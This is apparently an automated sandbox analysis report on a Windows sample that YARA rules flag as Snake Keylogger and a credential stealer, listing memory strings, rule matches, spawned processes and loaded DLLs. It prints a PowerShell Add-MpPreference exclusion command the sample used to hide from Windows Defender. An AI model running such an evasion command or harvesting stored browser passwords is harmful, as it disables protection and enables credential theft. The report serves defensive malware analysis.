Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_06AD9F00	0_2_06AD9F00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_06AD9AB8	0_2_06AD9AB8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_06AD9AC8	0_2_06AD9AC8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_06AD7BB0	0_2_06AD7BB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FAF01F	4_2_00FAF01F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FAC190	4_2_00FAC190
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FA6108	4_2_00FA6108
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FAB328	4_2_00FAB328
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FAC470	4_2_00FAC470
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FAC751	4_2_00FAC751
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FA6730	4_2_00FA6730
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FA9858	4_2_00FA9858
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FA4AD9	4_2_00FA4AD9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FACA31	4_2_00FACA31
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FABBD2	4_2_00FABBD2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FABEB0	4_2_00FABEB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FAB4F3	4_2_00FAB4F3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FA3570	4_2_00FA3570
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FAE540	4_2_00FAE540
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_00FAE52F	4_2_00FAE52F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_05642E13	4_2_05642E13
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_05642E18	4_2_05642E18

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000000.00000002.2029787310.000000000089E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000000.00000002.2030808556.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMML.dll2 vs SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000000.00000002.2030808556.00000000026E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000000.00000002.2032585994.0000000006780000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000000.00000002.2032456578.0000000005180000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMML.dll2 vs SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000000.00000002.2031188002.000000000387E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000000.00000002.2033048840.00000000083F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEe vs SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3264630620.0000000000422000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3265021892.0000000000CF7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Binary or memory string: OriginalFilenamePHCd.exe: vs SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 2924, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 2924, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 4040, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 4040, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	Security API names: _0020.SetAccessControl
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	Security API names: _0020.AddAccessRule
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, Se7yaxeobBMdUHx8Vi.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, Se7yaxeobBMdUHx8Vi.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	Security API names: _0020.SetAccessControl
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	Security API names: _0020.AddAccessRule
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	Security API names: _0020.SetAccessControl
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	Security API names: _0020.AddAccessRule
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, Se7yaxeobBMdUHx8Vi.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/6@3/3

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Mutant created: \Sessions\1\BaseNamedObjects\tiqdbrBawfEtCyhplyRgDXJO
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2640:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_etzjvjg0.wmm.ps1

Jump to behavior

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002C05000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002C13000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3270967957.0000000003A4B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002C46000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002C3A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3267531741.0000000002BF5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Virustotal: Detection: 28%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: netutils.dll	Jump to behavior
